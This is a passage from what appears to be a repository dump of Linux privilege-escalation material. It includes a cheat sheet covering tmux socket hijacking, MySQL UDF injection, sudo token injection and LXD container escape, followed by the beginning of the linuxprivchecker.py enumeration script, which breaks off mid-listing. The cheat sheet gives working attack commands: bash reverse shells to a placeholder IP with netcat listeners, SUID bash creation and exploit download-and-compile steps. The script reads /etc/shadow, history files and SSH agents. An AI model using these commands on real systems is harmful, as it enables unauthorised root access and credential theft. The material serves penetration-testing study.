| /tmp/tmux-14/default-root // Root Tmux Session 1102 | tmux -S /tmp/tmux-14/default-root // Replace Path to Socket (Depending on your results) 1103 | 1104 | OR 1105 | 1106 | tmux list-sessions // Any Tmux sessions running as root? 1107 | /tmp/tmux-14/default-root // Root Tmux Session 1108 | tmux -S /opt/.dev/gbm/ attach -t 0 // Replace Path to Session (Depending on your results) 1109 | ``` 1110 | 1111 | # MySQL Running as root 1112 | 1113 | Example 1 1114 | ``` 1115 | ps aux | grep root 1116 | 1117 | mysql -u root -p 1118 | 1119 | \! chmod +s /bin/bash 1120 | exit 1121 | ls -la /bin/bash // Verify that the SUID bit is set 1122 | /bin/bash -p 1123 | id && whoami 1124 | ``` 1125 | 1126 | Example 2 1127 | 1128 | Victim 1129 | ``` 1130 | ps aux | grep root 1131 | 1132 | mysql -u root -p 1133 | 1134 | \! bash -i >& /dev/tcp/10.10.10.10/9999 0>&1 1135 | ``` 1136 | Attacker 1137 | 1138 | ``` 1139 | nc -lvnp 9999 1140 | id && whoami 1141 | ``` 1142 | 1143 | # MySQL UDF (User-Defined Functions) Code (UDF) Injectionn 1144 | 1145 | User Defined Function (UDF) is a piece of code that extends the functionality of a MySQL server by adding a new function that behaves just like a native (built-in) MySQL function, such as abs() or concat() 1146 | UDFs are useful when you need to extend the functionality of your MySQL server 1147 | For penetration testing, we can include a UDF inside our database that loads a library that has the ability to execute commands via the sys_exec() function which gives us code execution 1148 | 1149 | Example 1 - Reverse Shell 1150 | 1151 | Download UDF (Linux - 64 Bit) = https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql/linux/64 1152 | Download UDF (Linux - 32 Bit) = https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql/linux/32 1153 | 1154 | Victim 1155 | ``` 1156 | ps aux | grep root // Verify that MySQL is running as root 1157 | Save the UDF in the /tmp folder ( Example: /tmp/lib_mysqludf_sys.so) 1158 | mysql -u root -p 1159 | 1160 | mysql> use mysql; 1161 | mysql> create table admin(line blob); 1162 | mysql> insert into admin values(load_file('/tmp/lib_mysqludf_sys.so')); 1163 | mysql> select * from admin into dumpfile '/usr/lib/lib_mysqludf_sys.so'; 1164 | mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; 1165 | mysql> select sys_exec('bash -i >& /dev/tcp/10.10.10.10/9999 0>&1'); 1166 | 1167 | // Any UDF library can be used , as long as it is exploitable via the sys_exec() function 1168 | // The "admin" table name can be named anything 1169 | // Ensure that the path to the UDF (.so) is correct 1170 | // Replace IP & Port 1171 | ``` 1172 | Attacker 1173 | ``` 1174 | nc -lvnp 9999 1175 | ``` 1176 | 1177 | Example 2 (Local via SUID) 1178 | 1179 | Download UDF (Linux - 64 Bit) = https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql/linux/64 1180 | Download UDF (Linux - 32 Bit) = https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql/linux/32 1181 | 1182 | Victim 1183 | 1184 | ``` 1185 | ps aux | grep root // Verify that MySQL is running as root 1186 | Save the UDF in the /tmp folder ( Example: /tmp/lib_mysqludf_sys.so) 1187 | mysql -u root -p 1188 | 1189 | mysql> use mysql; 1190 | mysql> create table admin(line blob); 1191 | mysql> insert into admin values(load_file('/tmp/lib_mysqludf_sys.so')); 1192 | mysql> select * from admin into dumpfile '/usr/lib/lib_mysqludf_sys.so'; 1193 | mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; 1194 | mysql> select sys_exec('chmod +s /bin/bash'); 1195 | mysql> exit 1196 | Wait a while 1197 | ls -la /bin/bash // Verify that the SUID bit is set 1198 | /bin/bash -p 1199 | id && whoami 1200 | ``` 1201 | Example 3 (Explioting MySQL 4.x/5.0 (Linux)) 1202 | 1203 | UDF Link: https://www.exploit-db.com/exploits/1518 1204 | 1205 | Victim 1206 | ``` 1207 | wget -O priv.c https://www.exploit-db.com/download/1518 1208 | gcc –g –shared –Wl,–soname,priv.so –o priv.so priv.c –lc 1209 | chmod 777 priv.so 1210 | mv priv.so /tmp/ 1211 | mysql -u root -p 1212 | 1213 | mysql> create table priv(line blob); 1214 | mysql> insert into priv values(load_file(‘/tmp/priv.so’)); 1215 | mysql> select * from priv into dumpfile ‘/usr/lib/mysql/plugin/priv.so’; 1216 | mysql> create function do_system returns integer soname ‘priv.so’; 1217 | mysql> select do_system(‘chmod +s /bin/bash’); 1218 | mysql>!sh 1219 | /bin/bash -p 1220 | id && whoami 1221 | 1222 | // priv.c can be called anything 1223 | // The "priv" table name can be named anything 1224 | // Ensure that the path to the UDF (.so) is correct 1225 | // Replace IP & Port 1226 | ``` 1227 | # Sudo Injection (Sudo Token) 1228 | 1229 | linpeas.sh => ptrace vulnerability 1230 | In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using // sudo. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation). 1231 | Requirements to escalate privileges: 1232 | - You already have a shell as user "sampleuser" 1233 | - "sampleuser" have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo without introducing any password) 1234 | - cat /proc/sys/kernel/yama/ptrace_scope is 0 1235 | - gdb is accessible (you can be able to upload it) 1236 | (You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0) 1237 | If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject 1238 | The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su): 1239 | ``` 1240 | bash exploit.sh 1241 | /tmp/activate_sudo_token 1242 | sudo su 1243 | //The second exploit (exploit_v2.sh) will create a sh shell in /tmp owned by root with setuid 1244 | bash exploit_v2.sh 1245 | /tmp/sh -p 1246 | //The third exploit (exploit_v3.sh) will create a sudoers file that makes sudo tokens eternal and allows all users to use sudo 1247 | bash exploit_v3.sh 1248 | sudo su 1249 | ``` 1250 | # LXD (Container & Alphine Image) 1251 | Let’s download alphine builder on our local machine, which is a script that provides a way to create Alpine Linux images, so we can mount it using LXD. 1252 | ``` 1253 | git clone https://github.com/saghul/lxd-alpine-builder.git 1254 | 1255 | cd lxd-alphine-bulder 1256 | 1257 | ./build-alphine 1258 | 1259 | python3 -m http.server 8080 1260 | ``` 1261 | On the remote machine 1262 | ``` 1263 | wget http://ip/alpine.tar.gz 1264 | 1265 | //Let’s add the image to lxd using the following command 1266 | lxc image import ./alpine.tar.gz --alias myimage 1267 | 1268 | //After that we can initialize the image inside a new Linux container. And then mount it the root directory. 1269 | lxc init myimage ignite -c security.privileged=true 1270 | lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true 1271 | lxc start ignite 1272 | 1273 | //And then execute the /bin/sh to get root 1274 | lxc exec ignite /bin/sh 1275 | ``` 1276 | -------------------------------------------------------------------------------- /linuxPrivChecker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | ############################################################################################################### 5 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 6 | ## [Original Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 7 | ## [Maintainer]: Michael Contino -- @Sleventyeleven 8 | ##------------------------------------------------------------------------------------------------------------- 9 | ## [Details]: 10 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 11 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 12 | ## passwords and applicable exploits. 13 | ##------------------------------------------------------------------------------------------------------------- 14 | ## [Modification, Distribution, and Attribution]: 15 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 16 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 17 | ## worth anything anyway :) 18 | ############################################################################################################### 19 | TODO: 20 | Add search for writable and/or missing library files 21 | Add detection and enumeratation for systemd 22 | Add search for accessiable ssh sockets 23 | Add search for ssh keys 24 | Add search for know access tokens 25 | Expand Sudo support to include rules in sudoers.d 26 | Add more high profile exploit checks (ie shellshock) 27 | """ 28 | 29 | # conditional import for older versions of python not compatible with subprocess 30 | try: 31 | import subprocess as sub 32 | compatmode = 0 # newer version of python, no need for compatibility mode 33 | except ImportError: 34 | import os # older version of python, need to use os instead 35 | compatmode = 1 36 | 37 | 38 | def execute_cmd(cmddict): 39 | """ 40 | Execute Command (execute_cmd) 41 | loop through dictionary, execute the commands, store the results, return updated dict 42 | 43 | :param cmddict: Dictionary of commands to execute and results 44 | :return: The command Dictionary with the commands results included 45 | """ 46 | 47 | for item in cmddict: 48 | cmd = cmddict[item]["cmd"] 49 | if compatmode == 0: # newer version of python, use preferred subprocess 50 | out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 51 | results = out.split('\n') 52 | else: # older version of python, use os.popen 53 | echo_stdout = os.popen(cmd, 'r') 54 | results = echo_stdout.read().split('\n') 55 | 56 | # write the results to the command Dictionary for each command run 57 | cmddict[item]["results"] = results 58 | 59 | return cmddict 60 | 61 | 62 | def print_results(cmddict): 63 | """ 64 | Print Results (printResults) 65 | Print results for each previously executed command, no return value 66 | 67 | :param cmddict: Dictionary of commands to execute and results 68 | :return: None 69 | """ 70 | 71 | for item in cmddict: 72 | msg = cmddict[item]["msg"] 73 | results = cmddict[item]["results"] 74 | print "[+] " + msg 75 | 76 | for result in results: 77 | if result.strip() != "": 78 | print " " + result.strip() 79 | print 80 | 81 | 82 | def enum_system_info(): 83 | """ 84 | Basic System Info (get_system_info) 85 | Enumerate Basic System Information by executing simple commands than saving the results 86 | 87 | :return: Dictionary of system information results 88 | """ 89 | 90 | print "[*] GETTING BASIC SYSTEM INFO...\n" 91 | 92 | sysinfo = { 93 | "OS": {"cmd": "cat /etc/issue", "msg": "Operating System", "results": []}, 94 | "KERNEL": {"cmd": "cat /proc/version", "msg": "Kernel", "results": []}, 95 | "HOSTNAME": {"cmd": "hostname", "msg": "Hostname", "results": []} 96 | } 97 | 98 | sysinfo = execute_cmd(sysinfo) 99 | print_results(sysinfo) 100 | 101 | return sysinfo 102 | 103 | 104 | def enum_network_info(): 105 | """ 106 | Basic Network Info (get_network_info) 107 | Enumerate Basic Network Information by executing simple commands 108 | 109 | :return: Dictionary of Network information with results 110 | """ 111 | 112 | print "[*] GETTING NETWORKING INFO...\n" 113 | 114 | netinfo = { 115 | "netinfo": {"cmd": "/sbin/ifconfig -a", "msg": "Interfaces", "results": []}, 116 | "ROUTE": {"cmd": "route", "msg": "Route(s)", "results": []}, 117 | "NETSTAT": {"cmd": "netstat -antup | grep -v 'TIME_WAIT'", "msg": "Netstat", "results": []} 118 | } 119 | 120 | netinfo = execute_cmd(netinfo) 121 | print_results(netinfo) 122 | 123 | 124 | def enum_filesystem_info(): 125 | """ 126 | Enumerate Filesystem Information (enum_filesystem_info) 127 | Enumerate mounted and/or configured filesystems and save the results 128 | 129 | :return: Dictionary with drive information results 130 | TODO: Parse parse out the filesystem results for remote file systems and credentials 131 | """ 132 | 133 | print "[*] GETTING FILESYSTEM INFO...\n" 134 | 135 | driveinfo = { 136 | "MOUNT": {"cmd": "mount", "msg": "Mount results", "results": []}, 137 | "FSTAB": {"cmd": "cat /etc/fstab 2>/dev/null", "msg": "fstab entries", "results": []} 138 | } 139 | 140 | driveinfo = execute_cmd(driveinfo) 141 | print_results(driveinfo) 142 | 143 | return driveinfo 144 | 145 | 146 | def enum_cron_jobs(): 147 | """ 148 | Enumerate crontab Information (enum_cron_jobs) 149 | Enumerate system and user cron jobs and save the results 150 | 151 | :return: None 152 | TODO: Should also parse at and systemd jobs for possible information as well 153 | """ 154 | croninfo = { 155 | "CRON": {"cmd": "ls -la /etc/cron* 2>/dev/null", "msg": "Scheduled cron jobs", "results": []}, 156 | "CRONW": {"cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg": "Writable cron dirs", "results": []}, 157 | "CRONU": {"cmd": "crontab -l 2>/dev/null", "msg": "Users cron jobs", "results": []} 158 | } 159 | 160 | croninfo = execute_cmd(croninfo) 161 | print_results(croninfo) 162 | 163 | 164 | def enum_user_info(): 165 | """ 166 | Enumerate User Information (enum_user_info) 167 | Enumerate current user information and save the results 168 | 169 | :return: Dictionary with the user information commands and results 170 | """ 171 | print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 172 | 173 | userinfo = { 174 | "WHOAMI": {"cmd": "whoami", "msg": "Current User", "results": []}, 175 | "ID": {"cmd": "id", "msg": "Current User ID", "results": []}, 176 | "ALLUSERS": {"cmd": "cat /etc/passwd", "msg": "All users", "results": []}, 177 | "SUPUSERS": {"cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg": "Super Users Found:", "results": []}, 178 | "ENV": {"cmd": "env 2>/dev/null | grep -v 'LS_COLORS'", "msg": "Environment", "results": []}, 179 | "SUDOERS": {"cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg": "Sudoers (privileged)", "results": []}, 180 | "SCREENS": {"cmd": "screen -ls 2>/dev/null", "msg": "List out any screens running for the current user", "results": []}, 181 | "LOGGEDIN": {"cmd": "who -a 2>/dev/null", "msg": "Logged in User Activity", "results": []} 182 | } 183 | 184 | userinfo = execute_cmd(userinfo) 185 | print_results(userinfo) 186 | 187 | if "root" in userinfo["ID"]["results"][0]: 188 | print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 189 | exit() 190 | 191 | return userinfo 192 | 193 | 194 | def enum_user_history_files(): 195 | """ 196 | Enumerate User History Files (enum_user_history_files) 197 | Enumerate current user History Files and save content to results 198 | 199 | :return: None 200 | """ 201 | print "\n[*] ENUMERATING USER History Files..\n" 202 | 203 | historyfiles = { 204 | "RHISTORY": {"cmd": "ls -la /root/.*_history 2>/dev/null", "msg": " See if you have access too Root user history (depends on privs)", "results": []}, 205 | "BASHHISTORY": {"cmd": "cat ~/.bash_history 2>/dev/null", "msg": " Get the contents of bash history file for current user", "results": []}, 206 | "NANOHISTORY": {"cmd": "cat ~/.nano_history 2>/dev/null", "msg": " Try to get the contents of nano history file for current user", "results": []}, 207 | "ATFTPHISTORY": {"cmd": "cat ~/.atftp_history 2>/dev/null", "msg": " Try to get the contents of atftp history file for current user", "results": []}, 208 | "MYSQLHISTORY": {"cmd": "cat ~/.mysql_history 2>/dev/null", "msg": " Try to get the contents of mysql history file for current user", "results": []}, 209 | "PHPHISTORY": {"cmd": "cat ~/.php_history 2>/dev/null", "msg": " Try to get the contents of php history file for current user", "results": []}, 210 | "PYTHONHISTORY": {"cmd": "cat ~/.python_history 2>/dev/null", "msg": " Try to get the contents of python history file for current user", "results": []}, 211 | "REDISHISTORY": {"cmd": "cat ~/.rediscli_history 2>/dev/null", "msg": " Try to get the contents of redis cli history file for current user", "results": []}, 212 | "TDSQLHISTORY": {"cmd": "cat ~/.tdsql_history 2>/dev/null", "msg": " Try to get the contents of tdsql history file for current user", "results": []} 213 | } 214 | 215 | historyfiles = execute_cmd(historyfiles) 216 | print_results(historyfiles) 217 | 218 | 219 | def enum_rc_files(): 220 | """ 221 | Enumerate User RCFiles (enum_rc_files) 222 | Enumerate current user RC Files and save content to results 223 | 224 | :return: None 225 | """ 226 | print "\n[*] ENUMERATING USER *.rc Style Files For INFO...\n" 227 | 228 | rcfiles = { 229 | "GBASHRC" : {"cmd": "cat /etc/bashrc 2>/dev/null", "msg": " Get the contents of bash rc file form global config file", "results": []}, 230 | "BASHRC": {"cmd": "cat ~/.bashrc 2>/dev/null", "msg": "Get the contents of bash rc file for current user", "results": []}, 231 | "SCREENRC": {"cmd": "cat ~/.screenrc 2>/dev/null", "msg": " Try to get the contents of screen rc file for current user", "results": []}, 232 | "GSCREENRC": {"cmd": "cat /etc/screenrc 2>/dev/null", "msg": "Try to get the contents of screen rc file form global config file", "results": []}, 233 | "VIRC": {"cmd": "cat ~/.virc 2>/dev/null", "msg": " Try to get the contents of vi rc file for current user", "results": []}, 234 | "MYSQLRC": {"cmd": "cat ~/.mysqlrc 2>/dev/null", "msg": " Try to get the contents of mysql rc file for current user", "results": []}, 235 | "NETRC": {"cmd": "cat ~/.netrc 2>/dev/null", "msg": " Try to get the contents of legacy net rc file for current user", "results": []} 236 | } 237 | 238 | rcfiles = execute_cmd(rcfiles) 239 | print_results(rcfiles) 240 | 241 | 242 | def search_file_perms(): 243 | """ 244 | Search File and Folder Permissions (search_file_perms) 245 | Search the identified file systems for insure file and folder permissions 246 | 247 | :return: None 248 | """ 249 | 250 | print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 251 | 252 | fdperms = { 253 | "WWDIRSROOT": {"cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg": "World Writeable Directories for User/Group 'Root'", "results": []}, 254 | "WWDIRS": {"cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg": "World Writeable Directories for Users other than Root", "results": []}, 255 | "WWFILES": {"cmd": "find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg": "World Writable Files", "results": []}, 256 | "SUID": {"cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg": "SUID/SGID Files and Directories", "results": []}, 257 | "ROOTHOME": {"cmd": "ls -ahlR /root 2>/dev/null", "msg": "Checking if root's home folder is accessible", "results": []} 258 | } 259 | 260 | fdperms = execute_cmd(fdperms) 261 | print_results(fdperms) 262 | 263 | 264 | def search_file_passwords(): 265 | """ 266 | Search File for passwords (search_file_passwords) 267 | Search the identified file systems for files with potential credentials 268 | 269 | :return: None 270 | :TODO: Add searches for common cred files like ssh keys and access tokens 271 | """ 272 | 273 | pwdfiles = { 274 | "LOGPWDS": {"cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg": "Logs containing keyword 'password'", "results": []}, 275 | "CONFPWDS": {"cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg": "Config files containing keyword 'password'", "results": []}, 276 | "SHADOW": {"cmd": "cat /etc/shadow 2>/dev/null", "msg": "Shadow File (Privileged)", "results": []} 277 | } 278 | 279 | pwdfiles = execute_cmd(pwdfiles) 280 | print_results(pwdfiles) 281 | 282 | 283 | def enum_procs_pkgs(): 284 | """ 285 | Enumerate Processes and Packages (enum_procs_pkgs) 286 | Enumerate all running processes and installed packages 287 | 288 | :return: Dictionary with process and package information 289 | """ 290 | 291 | # Processes and Applications 292 | print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 293 | 294 | if "debian" in sysinfo["KERNEL"]["results"][0] or "ubuntu" in sysinfo["KERNEL"]["results"][0]: 295 | getpkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 296 | else: 297 | getpkgs = "rpm -qa | sort -u" # RH/other 298 | 299 | pkgsandprocs = { 300 | "PROCS": {"cmd": "ps waux | awk '{print $1,$2,$9,$10,$11}'", "msg": "Current processes", "results": []}, 301 | "PKGS": {"cmd": getpkgs, "msg": "Installed Packages", "results": []} 302 | } 303 | 304 | pkgsandprocs = execute_cmd(pkgsandprocs) 305 | print_results(pkgsandprocs) # comment to reduce output 306 | 307 | otherapps = { 308 | "SUDO": {"cmd": "sudo -V | grep version 2>/dev/null", "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results": []}, 309 | "APACHE": {"cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg": "Apache Version and Modules", "results": []}, 310 | "APACHECONF": {"cmd": "cat /etc/apache2/apache2.conf 2>/dev/null", "msg": "Apache Config File", "results": []}, 311 | "SSHAGENTS": {"cmd": "for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do echo $AGENT $(stat -c '%U' /tmp/$AGENT);export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);timeout 10 ssh-add -l 2>/dev/null;done;", "msg": "Checking for Active SSH Agents", "results": []} 312 | } 313 | 314 | execute_cmd(otherapps) 315 | print_results(otherapps) 316 | 317 | return pkgsandprocs 318 | 319 | 320 | def enum_root_pkg_proc(pkgsandprocs, userinfo): 321 | """ 322 | Enumerate root packages (enum_root_pkg_proc) 323 | Enumerate Root/superuser packages to target based on process information 324 | :param pkgsandprocs: Dictionary with process and package information 325 | :param userinfo: Dictionary with the user information commands and results 326 | 327 | :return: The drive information Dictionary with the commands results included 328 | """ 329 | print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 330 | 331 | # find the package information for the processes currently running 332 | # under root or another super user 333 | 334 | procs = pkgsandprocs["PROCS"]["results"] 335 | pkgs = pkgsandprocs["PKGS"]["results"] 336 | supusers = userinfo["SUPUSERS"]["results"] 337 | procdict = {} # dictionary to hold the processes running as super users 338 | 339 | for proc in procs: # loop through each process 340 | relatedpkgs = [] # list to hold the packages related to a process 341 | try: 342 | for user in supusers: # loop through the known super users 343 | if (user != "") and (user in proc): # if the process is being run by a super user 344 | procname = proc.split(" ")[4] # grab the process name 345 | if "/" in procname: 346 | splitname = procname.split("/") 347 | procname = splitname[len(splitname)-1] 348 | for pkg in pkgs: # loop through the packages 349 | if not len(procname) < 3: # name too short to get reliable package results 350 | if procname in pkg: 351 | if procname in procdict: 352 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 353 | if pkg not in relatedpkgs: 354 | relatedpkgs.append(pkg) # add pkg to the list 355 | procdict[proc] = relatedpkgs # add any found related packages to the process dictionary entry 356 | except: 357 | pass 358 | 359 | for key in procdict: 360 | print " " + key # print the process name 361 | try: 362 | if not procdict[key][0] == "": # only print the rest if related packages were found 363 | print " Possible Related Packages: " 364 | for entry in procdict[key]: 365 | print " " + entry # print each related package 366 | except IndexError: 367 | pass 368 | 369 | 370 | def enum_dev_tools(): 371 | """ 372 | Enumerate Development Tools (enum_dev_tools) 373 | Enumerate installed development tools and save the results 374 | 375 | :return: Dictionary of installed development tool results 376 | """ 377 | 378 | print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 379 | 380 | devtools = {"TOOLS": {"cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg": "Installed Tools", "results": []}} 381 | execute_cmd(devtools) 382 | print_results(devtools) 383 | 384 | return devtools 385 | 386 | 387 | def enum_shell_esapes(devtools): 388 | """ 389 | Enumerate Filesystem Information (enum_shell_escapes) 390 | Enumerate possible shell escape techniques based on available development tools 391 | :param devtools: Dictionary of installed development tool results 392 | 393 | :return: None 394 | """ 395 | 396 | print "[+] Related Shell Escape Sequences...\n" 397 | 398 | escapecmd = { 399 | "vi": [":!bash", ":set shell=/bin/bash:shell"], 400 | "awk": ["awk 'BEGIN {system(\"/bin/bash\")}'"], 401 | "perl": ["perl -e 'exec \"/bin/bash\";'"], 402 | "find": ["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], 403 | "nmap": ["--interactive"] 404 | } 405 | 406 | for cmd in escapecmd: 407 | for result in devtools["TOOLS"]["results"]: 408 | if cmd in result: 409 | for item in escapecmd[cmd]: 410 | print " " + cmd + "-->\t" + item 411 | 412 | 413 | def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo): 414 | """ 415 | Enumerate Likely Exploits (find_likely_exploits) 416 | Enumerate possible exploits based on system information and installed packages 417 | :param sysinfo: Dictionary of system information results 418 | :param devtools: Dictionary of installed development tool results 419 | :param pkgsandprocs: Dictionary with process and package information 420 | :param driveinfo: Dictionary with drive information results 421 | 422 | :return: The drive information Dictionary with the commands results included 423 | TODO: Parse parse out the filesystem results for remote file systems and credentials 424 | """ 425 | 426 | print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 427 | 428 | # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) 429 | # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' 430 | sploits = { 431 | "2.2.x-2.4.x ptrace kmod local exploit": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "3", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 432 | "< 2.4.20 Module Loader Local Root Exploit": {"minver": "0", "maxver": "2.4.20", "exploitdb": "12", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 433 | "2.4.22 "'do_brk()'" local Root Exploit (PoC)": {"minver": "2.4.22", "maxver": "2.4.22", "exploitdb": "129", "lang": "asm", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 434 | "<= 2.4.22 (do_brk) Local Root Exploit (working)": {"minver": "0", "maxver": "2.4.22", "exploitdb": "131", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 435 | "2.4.x mremap() bound checking Root Exploit": {"minver": "2.4", "maxver": "2.4.99", "exploitdb": "145", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 436 | "<= 2.4.29-rc2 uselib() Privilege Elevation": {"minver": "0", "maxver": "2.4.29", "exploitdb": "744", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 437 | "2.4 uselib() Privilege Elevation Exploit": {"minver": "2.4", "maxver": "2.4", "exploitdb": "778", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 438 | "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "895", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 439 | "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "926", "lang": "c", "keywords": {"loc": ["proc", "pkg"], "val": "bluez"}}, 440 | "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)": {"minver": "0", "maxver": "2.6.11", "exploitdb": "1397", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 441 | "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit": {"minver": "0", "maxver": "99", "exploitdb": "1518", "lang": "c", "keywords": {"loc": ["proc", "pkg"], "val": "mysql"}}, 442 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit": {"minver": "2.6.13", "maxver": "2.6.17.4", "exploitdb": "2004", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 443 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)": {"minver": "2.6.13", "maxver": "2.6.17.4", "exploitdb": "2005", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 444 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)": {"minver": "2.6.13", "maxver": "2.6.17.4", "exploitdb": "2006", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 445 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)": {"minver": "2.6.13", "maxver": "2.6.17.4", "exploitdb": "2011", "lang": "sh", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 446 | "<= 2.6.17.4 (proc) Local Root Exploit": {"minver": "0", "maxver": "2.6.17.4", "exploitdb": "2013", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 447 | "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)": {"minver": "2.6.13", "maxver": "2.6.17.4", "exploitdb": "2031", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 448 | "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit": {"minver": "4.10", "maxver": "7.04", "exploitdb": "3384", "lang": "c", "keywords": {"loc": ["os"], "val": "debian"}}, 449 | "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit": {"minver": "2.4", "maxver": "2.6", "exploitdb": "4460", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 450 | "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit": {"minver": "0", "maxver": "2.6.11.5", "exploitdb": "4756", "lang": "c", "keywords": {"loc": ["proc", "pkg"], "val": "bluetooth"}}, 451 | "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit": {"minver": "2.6.17", "maxver": "2.6.24.1", "exploitdb": "5092", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 452 | "2.6.23 - 2.6.24 vmsplice Local Root Exploit": {"minver": "2.6.23", "maxver": "2.6.24", "exploitdb": "5093", "lang": "c", "keywords": {"loc": ["os"], "val": "debian"}}, 453 | "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit": {"minver": "0", "maxver": "99", "exploitdb": "5720", "lang": "python", "keywords": {"loc": ["os"], "val": "debian"}}, 454 | "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit": {"minver": "0", "maxver": "2.6.22", "exploitdb": "6851", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 455 | "< 2.6.29 exit_notify() Local Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.29", "exploitdb": "8369", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 456 | "2.6 UDEV Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8478", "lang": "c", "keywords": {"loc": ["proc", 